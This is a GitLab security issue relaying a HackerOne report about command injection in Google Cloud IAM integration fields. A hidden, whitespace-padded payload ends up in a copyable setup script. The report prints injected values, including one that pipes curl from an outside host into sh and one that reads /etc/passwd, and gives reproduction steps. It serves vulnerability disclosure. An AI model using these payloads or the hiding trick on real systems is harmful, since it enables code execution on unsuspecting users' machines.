Maintainer can inject shell code in Google integration configurations that will trigger on victims machine when setting up integrations
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2601569](https://hackerone.com/reports/2601569)** by `joaxcar` on 2024-07-14, assigned to @greg: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report This is, in a way, a bypass to #2464908, but as the code and UI are completely different, it's more of a new vector with the same impact. #### Summary After fixing #2464908 a new UI for Google integrations was introduced (`Google Cloud IAM` and `Google Artifact Management`). This new interface is intended to fix the previous issue and to update the flow of how to configure these ones. To configure `Google Artifact Management` in a project someone must first configure `Google Cloud IAM`. A malicious maintainer can inject hidden RCE payloads in the fields of the `Google Cloud IAM` Group configuration that will be injected in all project `Google Artifact Management` config scripts. The new `Google Cloud IAM` config page looks like this ![Screenshot_2024-07-14_at_23.29.22.png](https://h1.sec.gitlab.net/a/2f15bb5a-0844-466c-895e-9de6173e3541/Screenshot_2024-07-14_at_23.29.22.png) Notice that all fields have limits stated. Like the `Workload identity federation` that states `Can be 4 to 32 lowercase letters, numbers, or hyphens.`. The new `Google Artifact Management` UI looks like this ![Screenshot_2024-07-14_at_23.29.38.png](https://h1.sec.gitlab.net/a/eb240fcd-7656-4c01-b2b3-185fa9666acd/Screenshot_2024-07-14_at_23.29.38.png) Notice the same restriction on the fields. Also, note the config script presented at the end of the page. It has a convenient "copy button" ##### The issue The issue here is that almost none of these fields actually have any restrictions. Even if `Workload identity federation` states that it only takes in 4 to 32 letter and hyphens you can put anything in there. And the entered value will be copied into the configuration script. This particular field will also render in the config script in `Google Artifact Management` project configurations. So in the `Google Artifact Management` config script, there is a text line like this ```sh --member='principalSet://iam.googleapis.com/projects/1/locations/global/workloadIdentityPools/FEDERATION_ID/attribute.guest_access/true' \ ``` where you can see the `FEDERATION_ID` from the `Google Cloud IAM` configuration. As this value does not have any restrictions a malicious maintainer could add this federation ID at the group level (adding a lot of space in between the payload and the ID ```sh gitlab-group-89307345' ; curl https://joaxcar.com | sh; echo ' ``` This will show up in `Google Artifact Management` like this. ![Screenshot_2024-07-14_at_23.39.54.png](https://h1.sec.gitlab.net/a/1530669e-d3a9-487e-808a-7f03bcb32ee7/Screenshot_2024-07-14_at_23.39.54.png) Notice that the ` ; curl https://joaxcar.com | sh; echo '` part of the ID name is not visible. But it is still there our of sight. Thus, when a user clicks "copy command" and pastes it in a terminal, it will contain the malicious script and execute on the victim's machine. #### Steps to reproduce Use a group with Ultimate license 1. Create two users and make both of them `maintainer` of the group. Name one `attacker` and one `victim` 2. Log in as the `attacker` 3. Go to https://gitlab.com/groups/GROUPNAME/-/settings/integrations/google_cloud_platform_workload_identity_federation/edit 4. Add values to all 4 fields. In the `Pool ID` field add this name (add more spaces if needed ) ``` gitlab-group-89307345' ; id; cat /etc/passwd; sleep 10; echo ' ``` 5. Log out as the `attacker` and log in as `victim` 6. Go to the group and create a new project 7. Now go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/integrations/google_cloud_platform_artifact_registry/edit 8. Fill out the fields with `test` 9. See that the `config script` in the end of the page looks safe. 10. Click "copy command" 11. Open a terminal and past the command and click enter 12. The script payload will execute and print `etc/passwd` #### Impact Arbitrary code execution is performed on the victim machine as the victim user. The payload can also contain sudo statements that either will run directly if the victim has run sudo commands recently, or the script will prompt the victim for sudo rights, which the user might accept due to it being a GitLab-initiated script #### Examples ![Screen_Recording_2024-07-14_at_23.18.38.mov](https://h1.sec.gitlab.net/a/38ba624d-20aa-47f0-a398-521154c8f75a/Screen_Recording_2024-07-14_at_23.18.38.mov) #### What is the current *bug* behavior? None of the fields have there `requirements` actually enforced and the field content is rendered as-is in the config commands. This affects most of the fields, and there are multiple vectors. But the worst one is the `Pool-ID` as this will also render on the other integration. #### What is the expected *correct* behavior? It should be safe to use the config script as is. As the fields should have restrictions and not allow command injections. #### Output of checks This bug happens on GitLab.com #### CVSS The impact here is high confidentiality and integrity as the attacker can get full access to the victim's machine and steal the GitLab access token and everything else on the victim's machine. Scope is changed as the attack originates from GitLab but runs and impacts the local user. Privilege required is high as the attacker is the maintainer and it requires user interaction, but note that it is regular user interaction in a normal workflow; there are no special actions outside of the anticipated ones. Complexity is low as the attack works 100% of the times and nothing special needs to be in place, the fact that the victim needs to run the script is part of user interaction. #### Impact Arbitrary code execution is performed on the victim machine as the victim user. The payload can also contain sudo statements that either will run directly if the victim has run sudo commands recently, or the script will prompt the victim for sudo rights, which the user might accept due to it being a GitLab-initiated script ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [Screenshot_2024-07-14_at_23.29.22.png](https://h1.sec.gitlab.net/a/2f15bb5a-0844-466c-895e-9de6173e3541/Screenshot_2024-07-14_at_23.29.22.png) * [Screenshot_2024-07-14_at_23.29.38.png](https://h1.sec.gitlab.net/a/eb240fcd-7656-4c01-b2b3-185fa9666acd/Screenshot_2024-07-14_at_23.29.38.png) * [Screenshot_2024-07-14_at_23.39.54.png](https://h1.sec.gitlab.net/a/1530669e-d3a9-487e-808a-7f03bcb32ee7/Screenshot_2024-07-14_at_23.39.54.png) * [Screen_Recording_2024-07-14_at_23.18.38.mov](https://h1.sec.gitlab.net/a/38ba624d-20aa-47f0-a398-521154c8f75a/Screen_Recording_2024-07-14_at_23.18.38.mov) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue